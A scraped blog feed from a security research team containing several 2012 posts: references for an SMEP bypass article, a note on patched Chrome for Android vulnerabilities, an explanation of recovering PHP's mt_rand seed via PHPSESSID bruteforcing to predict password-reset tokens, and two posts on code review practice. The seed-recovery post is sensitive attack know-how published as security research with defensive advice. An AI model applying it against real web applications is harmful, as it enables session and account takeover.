&lt;div class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;b&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Arial; mso-bidi-font-size: 16.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US; mso-font-kerning: 16.0pt; mso-no-proof: yes; text-transform: uppercase;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Arial; mso-bidi-font-size: 16.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US; mso-font-kerning: 16.0pt; mso-no-proof: yes; text-transform: uppercase;"&gt;&lt;b&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Arial; mso-bidi-font-size: 16.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US; mso-font-kerning: 16.0pt; mso-no-proof: yes; text-transform: uppercase;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Arial; mso-bidi-font-size: 16.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US; mso-font-kerning: 16.0pt; mso-no-proof: yes; text-transform: uppercase;"&gt;
&lt;br clear="all" style="page-break-before: always;" /&gt;
&lt;/span&gt;&lt;/b&gt;

&lt;br /&gt;
&lt;h1 style="margin-left: 0cm; mso-add-space: auto; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;"&gt;
&lt;span lang="EN-US"&gt;References&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;div align="left" class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;[1] Intel: &lt;i&gt;Intel® 64 and IA-32 Architectures
Developer's Manual: Combined Volumes&lt;/i&gt;. Intel Corporation, 2012.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="left" class="MsoNormal"&gt;
&lt;span lang="EN-US" style="color: #010001; mso-bidi-font-family: Calibri; mso-no-proof: yes;"&gt;[2] &lt;/span&gt;&lt;span lang="EN-US"&gt;Mateusz “j00ru" Jurczyk: &lt;i&gt;Windows Security Hardening Through Kernel Address
Protection.&lt;/i&gt; &lt;a href="http://j00ru.vexillium.org/blog/04_12_11/Windows_Kernel_Address_Protection.pdf"&gt;http://j00ru.vexillium.org/blog/04_12_11/Windows_Kernel_Address_Protection.pdf&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="left" class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;[3] Mateusz ‘j00ru’ Jurczyk, Gynvael
Coldwind: &lt;i&gt;SMEP: What is it, and how to
beat it on Windows.&lt;/i&gt; &lt;a href="http://j00ru.vexillium.org/?p=783"&gt;http://j00ru.vexillium.org/?p=783&lt;/a&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="left" class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;[4] Ken Johnson, Matt Miller: &lt;i&gt;Exploit Mitigation Improvements in Windows
8. &lt;/i&gt;Slides, Black Hat USA 2012.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="left" class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;[5] MSDN: &lt;i&gt;Windows GDI. &lt;/i&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/windows/desktop/dd145203(v=vs.85).aspx"&gt;&lt;i&gt;http://msdn.microsoft.com/en-us/library/windows/desktop/dd145203(v=vs.85).aspx&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="left" class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;[6] Feng Yuan: &lt;i&gt;Windows Graphics Programming
Win32 GDI and DirectDraw®. &lt;/i&gt;Prentice Hall PTR, 2000.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="left" class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;[7] Mark Russinovich, David A. Solomon,
Alex Ionescu: &lt;i&gt;Windows® Internals:
Including Windows Server 2008 and Windows Vista, Fifth Edition&lt;/i&gt;. Microsoft
Press, 2009.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="left" class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="left" class="MsoNormal"&gt;
&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/09/intel-smep-overview-and-partial-bypass.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-LFUOJhnWn_U/UFdDZ_rRhEI/AAAAAAAABvI/DS2Hmisl-as/s72-c/windows-8-bluescreen-bsod.jpg" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-2186209922461346727</guid><pubDate>Mon, 17 Sep 2012 13:25:00 +0000</pubDate><atom:updated>2012-09-17T06:25:34.642-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">browser vulnerabilities</category><category domain="http://www.blogger.com/atom/ns#">google</category><category domain="http://www.blogger.com/atom/ns#">google chrome</category><title>Vulnerabilities in Android Devices Allowed Stealing Money and Passwords</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-XQsUzK_Qnq0/UFckeVmNSLI/AAAAAAAABtw/vU3bG4U9RHs/s1600/1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-XQsUzK_Qnq0/UFckeVmNSLI/AAAAAAAABtw/vU3bG4U9RHs/s1600/1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
Artem Chaykin, an expert at the Positive Research Center, has discovered two critical vulnerabilities in Chrome for Google Android. The vulnerabilities threatened the security of the majority of new smartphones and tablets, since Chrome is the main web browser of the system starting from Android 4.1 (Jelly Bean).&lt;br /&gt;
&lt;br /&gt;
By exploiting the first of the said vulnerabilities, an attacker could get access to user data stored in Google Chrome, including clickstream, cookies, web cashe, etc.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
The other vulnerability allowed executing arbitrary JavaScript code in arbitrary site security context. It is a matter of the Universal Cross-Site Scripting. By conducting the attack a cybercriminal could, for example, compromise a bank account of a mobile bank user and steal the money&lt;br /&gt;
.&lt;br /&gt;
Thanks to Google’s professional approach, the vulnerabilities in Chrome for Android have been promptly fixed. To eliminate the defects in the browser security system, the user should install &lt;a href="https://play.google.com/store/apps/details?id=com.android.chrome"&gt;a new version of Chrome&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
By the way, in 2010 names of several experts of Positive Technologies were placed in Google Security Hall of Fame. In spring 2012 the Positive Technologies expert Dmitry Serebryannikov found &lt;a href="http://blog.ptsecurity.com/2012/05/google-again-pays-for-discovered.html"&gt;a critical vulnerability in the corporation’s site&lt;/a&gt; and won an award as part of the Vulnerability Reward Program.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/09/vulnerabilities-in-android-devices.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-XQsUzK_Qnq0/UFckeVmNSLI/AAAAAAAABtw/vU3bG4U9RHs/s72-c/1.jpg" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-5519310461489823710</guid><pubDate>Wed, 22 Aug 2012 07:26:00 +0000</pubDate><atom:updated>2013-05-16T23:18:56.600-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">random numbers</category><category domain="http://www.blogger.com/atom/ns#">random numbers generator</category><category domain="http://www.blogger.com/atom/ns#">Best of Positive Research</category><title>Not So Random Numbers. Take Two</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-yugJZtRbS1Q/UDSI6r4BVCI/AAAAAAAABo4/lKYcFUo8NRc/s1600/1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="118" src="http://1.bp.blogspot.com/-yugJZtRbS1Q/UDSI6r4BVCI/AAAAAAAABo4/lKYcFUo8NRc/s200/1.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
George Argyros and Aggelos Kiayias have published recently an awesome research concerning attacks on pseudo random generator in PHP. However, it lacked practical tools implementing this attack. That is why we conducted our own research which led to the creation of a program to perform the bruteforce of PHPSESSID.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
How can we get mt_rand seed via PHPSESSID?&lt;/h3&gt;
&lt;br /&gt;
PHPSESSID is generated this way:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;md5( client IP . timestamp . microseconds1 . php_combined_lcg() )&lt;/i&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;client IP is known to the attacker;&lt;/li&gt;
&lt;li&gt;timestamp is known through Date HTTP-header;&lt;/li&gt;
&lt;li&gt;microseconds1 – a value from 0 to 1000000;&lt;/li&gt;
&lt;li&gt;php_combined_lcg() – an example value is 0.12345678.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
To generate php_combined_lcg(), two seeds are used:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;S1 = timestamp XOR (microseconds2 &amp;lt;&amp;lt; 11)&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;S2 = pid XOR (microseconds3 &amp;lt;&amp;lt; 11)&lt;/i&gt;&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;timestamp is the same;&lt;/li&gt;
&lt;li&gt;microseconds2 is greater than microseconds1 (when the first time measurement was made) by 0–3;&lt;/li&gt;
&lt;li&gt;pid is the id of the current process (0–32768, 1024–32768 on Unix);&lt;/li&gt;
&lt;li&gt;microseconds3 is greater than microseconds2 by 1–4.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
The greatest entropy is contained in microseconds1, however with the use of two techniques it can be substantially reduced.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
Adversarial Time Synchronization&lt;/h3&gt;
&lt;br /&gt;
The technique is aimed at sending pairs of requests so that to determine the moment when the second in the Date HTTP header changes.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;HTTP/1.1 200 OK&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Date: Wed, 08 Aug 2012 06:05:14 GMT&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;…&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;HTTP/1.1 200 OK&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Date: Wed, 08 Aug 2012 06:05:15 GMT&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
If it happened, the microseconds between our requests zeroed. By sending requests with dynamic delays it is possible to synchronize local value of microseconds with the server one.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
Request Twins&lt;/h3&gt;
&lt;br /&gt;
The principle of this technique is simple. The attacker needs to send two requests: the first one — to reset their own password and the second one — to reset that of an administrator. The gap between microseconds will be minimal.&lt;br /&gt;
&lt;br /&gt;
To sum up, an MD5 PHPSESSID hash is bruteforced for microseconds, the deltas of subsequent time measurements, and pid. As for pid, the authors have not mentioned such a great helper as Apache server-status which reveals among other information the pids of the processes which serve the requests.&lt;br /&gt;
&lt;br /&gt;
To realize the bruteforce, a module for the popular program PasswordsPro has been initially created. However, this solution made it impossible to take into account the positive linear correlation between deltas of microseconds, so it bruteforced the full range of values. The speed was about 12 million hashes per second.&lt;br /&gt;
&lt;br /&gt;
That is why we created our own &lt;a href="http://bit.ly/RCi5CW"&gt;GUI application&lt;/a&gt; for this task.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-c_s79UiJSes/UDSIBpubbfI/AAAAAAAABog/RJ1bL2J94Ns/s1600/1en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="332" src="http://2.bp.blogspot.com/-c_s79UiJSes/UDSIBpubbfI/AAAAAAAABog/RJ1bL2J94Ns/s640/1en.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The speed is about 16 million hashes per second, seed calculation takes less than an hour on 3.2 GHz Quad Core i5.&lt;br /&gt;
&lt;br /&gt;
Having pid and php_combined_lcg one can compute the seed used in mt_rand. It is generated this way:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;(timestamp x pid) XOR (106 x php_combined_lcg())&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Besides, php_combined_lcg is used as additional entropy for the uniqid function (if it is called with the second argument being true).&lt;br /&gt;
&lt;br /&gt;
So, if a web application uses standard PHP sessions, it is possible to obtain the random numbers generated via mt_rand(), rand(), and uniqid().&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How can we get mt_rand seed through one of the random numbers leakage?&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
The seed used for mt_rand is an unsigned integer 2^32. If a random number leaked, it is possible to get the seed using PHP itself and rainbow tables. It takes less than 10 minutes.&lt;br /&gt;
The scripts to generate rainbow tables, search the seed, and ready-made tables are available here: &lt;a href="http://www.gat3way.eu/poc/mtrt/"&gt;http://www.gat3way.eu/poc/mtrt/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-MEltG-Dce_Q/UDSIc2BKmYI/AAAAAAAABoo/j4iUIPUP_qs/s1600/2en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-MEltG-Dce_Q/UDSIc2BKmYI/AAAAAAAABoo/j4iUIPUP_qs/s640/2en.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;What to look for in the code?&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
All the mt_rand(), rand(), uniqid(), shuffle(), lcg_value(), etc. The only secure function is openssl_random_pseudo_bytes(), but it is rarely used in web applications. The main ways of defense against such attacks are the following:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;MySQL function RAND() — it can be also predicted though.&lt;/li&gt;
&lt;li&gt;Suhosin patch — does not patch mt_srand, srand. The Suhosin extension should also be installed.&lt;/li&gt;
&lt;li&gt;/dev/urandom — the securest way.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-8nBCuedCdj8/UDSInQrLs0I/AAAAAAAABow/iGfmOuXzWu0/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://4.bp.blogspot.com/-8nBCuedCdj8/UDSInQrLs0I/AAAAAAAABow/iGfmOuXzWu0/s640/4.png" width="483" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Arseny Reutov&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Timur Yunusov&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Dmitry Nagibin&lt;/i&gt;&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/08/not-so-random-numbers-take-two.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-yugJZtRbS1Q/UDSI6r4BVCI/AAAAAAAABo4/lKYcFUo8NRc/s72-c/1.jpg" height="72" width="72" /><thr:total>20</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-1602022219064839012</guid><pubDate>Mon, 13 Aug 2012 06:18:00 +0000</pubDate><atom:updated>2012-08-12T23:18:10.864-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">development</category><category domain="http://www.blogger.com/atom/ns#">code review</category><title>Practical Example of Code Review Implementation</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-7Ej1bOirVHk/UCiapTHe7QI/AAAAAAAABiU/ZpkeoZqq_84/s1600/fin.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="555" src="http://3.bp.blogspot.com/-7Ej1bOirVHk/UCiapTHe7QI/AAAAAAAABiU/ZpkeoZqq_84/s640/fin.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Our previous &lt;a href="http://blog.ptsecurity.com/2012/08/code-review-implemented-into-development.html" target="_blank"&gt;post&lt;/a&gt; concerning a code review implemented by our company caused a particular interest of the IT community, so we decided to write an extra article on this theme. Today we'll consider this practice implementation in terms of a specific example.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
Let's consider code review implementation as exemplified by a project and project team structure. There are two groups in the team: one consists of two developers and a lead, and the other – of three developers and a lead. The developers will be marked as D (Developer) and the leads as L (Lead).&lt;br /&gt;
&lt;br /&gt;
Let's define the group members.&lt;br /&gt;
&lt;br /&gt;
Group 1: D_1_1, D_1_2, D_1_3, L_1.&lt;br /&gt;
Group 2: D_2_1, D_2_2, L_2.&lt;br /&gt;
&lt;br /&gt;
We assign reviewers to the project trunk.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-IAEhuAQmKUE/UCibApYs0vI/AAAAAAAABic/YKrKKPTyBUU/s1600/table1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-IAEhuAQmKUE/UCibApYs0vI/AAAAAAAABic/YKrKKPTyBUU/s320/table1.png" width="270" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
trunk/module_1 — group 1 is responsible.&lt;br /&gt;
trunk/module_2 — group 2 is responsible.&lt;br /&gt;
trunk/common — common responsibility of both groups, a lead appoints particular reviewers from his or her own group members.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
A developer writes a code affecting both groups' modules&lt;/h3&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-3L4ZKFiZHf4/UCibHXrQJOI/AAAAAAAABik/Coz746MXIvc/s1600/1_en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="137" src="http://4.bp.blogspot.com/-3L4ZKFiZHf4/UCibHXrQJOI/AAAAAAAABik/Coz746MXIvc/s640/1_en.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
1. Developer D_1_2 solves a task and at the same time writes a code affecting the following paths: trunk/module_1/dev_1_1, trunk/module_2/dev_2_3.&lt;br /&gt;
&lt;br /&gt;
2. D_1_2 creates a review and adds the following participants.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-iEI84Nw0leU/UCibPievF2I/AAAAAAAABis/bgWK2MOBgVE/s1600/table2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="112" src="http://1.bp.blogspot.com/-iEI84Nw0leU/UCibPievF2I/AAAAAAAABis/bgWK2MOBgVE/s640/table2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
3. Lead L_2 appoints developer D_2_3 as a reviewer.&lt;br /&gt;
&lt;br /&gt;
4. The final table of the review participants looks as follows.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-z-rirUQMxkM/UCibYSd_FUI/AAAAAAAABi0/1oSwXY3HoT0/s1600/table3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="134" src="http://3.bp.blogspot.com/-z-rirUQMxkM/UCibYSd_FUI/AAAAAAAABi0/1oSwXY3HoT0/s640/table3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
A developer writes a code to a common module&amp;nbsp;&amp;nbsp;&lt;/h3&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-8SXnMVCO0NM/UCibeN4d0QI/AAAAAAAABi8/FafARNMv7yE/s1600/2_en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://2.bp.blogspot.com/-8SXnMVCO0NM/UCibeN4d0QI/AAAAAAAABi8/FafARNMv7yE/s640/2_en.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
1. Developer D_1_2 solves a task and at the same time writes a code to trunk/common.&lt;br /&gt;
&lt;br /&gt;
2. D_1_2 creates a review and adds the following participants.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-Ph3VxNg0QR0/UCibmKEttNI/AAAAAAAABjE/Ynt0Im7t0ic/s1600/table4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="92" src="http://3.bp.blogspot.com/-Ph3VxNg0QR0/UCibmKEttNI/AAAAAAAABjE/Ynt0Im7t0ic/s640/table4.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
3. Lead L_1 appoints oneself as a reviewer.&lt;br /&gt;
&lt;br /&gt;
4. Lead L_2 appoints developer D_2_1 as a reviewer.&lt;br /&gt;
&lt;br /&gt;
5. The final table of the review participants looks as follows.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-dClqOHxH6eA/UCibv5s5BMI/AAAAAAAABjM/GccEkO50Ia4/s1600/table5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="98" src="http://1.bp.blogspot.com/-dClqOHxH6eA/UCibv5s5BMI/AAAAAAAABjM/GccEkO50Ia4/s640/table5.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
It is important to realize that launching a code review within a small group comprising 6-7 developers is one thing, and scaling a huge project developed by dozens of specialists is absolutely another thing. Huge projects have many more hidden rocks, which are just not seen in smaller-scale projects — do not forget about it.&lt;br /&gt;
&lt;br /&gt;
The next article (as we promised in the previous topic) will be dedicated to review automation using CodeCollaborator.&lt;br /&gt;
&lt;br /&gt;
Bye for now!&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/08/practical-example-of-code-review.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-7Ej1bOirVHk/UCiapTHe7QI/AAAAAAAABiU/ZpkeoZqq_84/s72-c/fin.jpg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-4481867089366828317</guid><pubDate>Fri, 10 Aug 2012 12:57:00 +0000</pubDate><atom:updated>2012-08-10T05:57:27.388-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">development</category><category domain="http://www.blogger.com/atom/ns#">code review</category><title>Code Review Implemented into Development</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;i&gt;Attention! This article is meant for those people, who have an idea of what a code review is and who want to implement this technology in their companies.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-tESRpGG6jk8/UCUE4JVVr7I/AAAAAAAABh4/VeX3eLtWTlo/s1600/bike3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/-tESRpGG6jk8/UCUE4JVVr7I/AAAAAAAABh4/VeX3eLtWTlo/s640/bike3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
When we started implementing code reviews in our projects, we were disappointed by the lack of good materials related to the process organizing from the very beginning. One more aspect that has hardly ever been described is review scaling.&lt;br /&gt;
&lt;br /&gt;
Filling this gap in, we want to share our experience in implementing this wonderful practice by our team. Constructive comments are welcome.&lt;br /&gt;
&lt;br /&gt;
So let's get it started.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
What is it for?&lt;/h3&gt;
First of all let's define goals we want to achieve reviewing a code. Of course these goals differ in case of each project and project team. They are influenced by a project character (either one-time or long-term), lifetime (short or long maintenance cycle), and etc. The following goals are the most important to us:&lt;br /&gt;
&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;Decreasing number of defects, detected by our colleagues from the software quality control department and by company's clients.&lt;/li&gt;
&lt;li&gt;Reducing an application maintenance cost due to increase of code quality.&lt;/li&gt;
&lt;li&gt;Securing quality and quantity of unit tests.&lt;/li&gt;
&lt;li&gt;Securing joint code ownership.&lt;/li&gt;
&lt;li&gt;Securing experience interchange among team members.&lt;/li&gt;
&lt;li&gt;Perfecting a code style. Detecting and discussing style controversies within the team.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
Who participates in a review?&lt;/h3&gt;
Let's define several terms that will be used within the topic.&lt;br /&gt;
&lt;br /&gt;
Author is a code developer.&lt;br /&gt;
&lt;br /&gt;
Reviewer is a developer responsible for all changes getting into a particular module or a path in a project branch.&lt;br /&gt;
&lt;br /&gt;
Observer is a developer employed as an expert.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
When to review?&lt;/h3&gt;
Now let's define a place of code reviews in the development process, time of reviews: either before adding a code to a repository (pre-commit) or after adding (post-commit). The choice should be made very carefully, because implementation of code reviews is often quite delicate. Those teams, in which private code ownership prevails (and it happens pretty often), are exposed to the risk most of all. That is why it is reasonable to implement post-commit reviews at first to minimize the risk of failure to meet the project deadlines due to inevitable "holy wars" so common in the beginning. As the participants of a project team gather necessary experience, pre-commit reviews can be implemented.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-R5Laji9Olhc/UCUAGTnl0aI/AAAAAAAABhg/-DmPQPFY3j0/s1600/1en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="382" src="http://1.bp.blogspot.com/-R5Laji9Olhc/UCUAGTnl0aI/AAAAAAAABhg/-DmPQPFY3j0/s640/1en.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
It is worth noting that we chose pre-commit reviews at first.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
How does it work?&lt;/h3&gt;
A developer, creating a review, adds the following participants:&lt;br /&gt;
&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;a reviewer of their group;&lt;/li&gt;
&lt;li&gt;a lead of their group.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
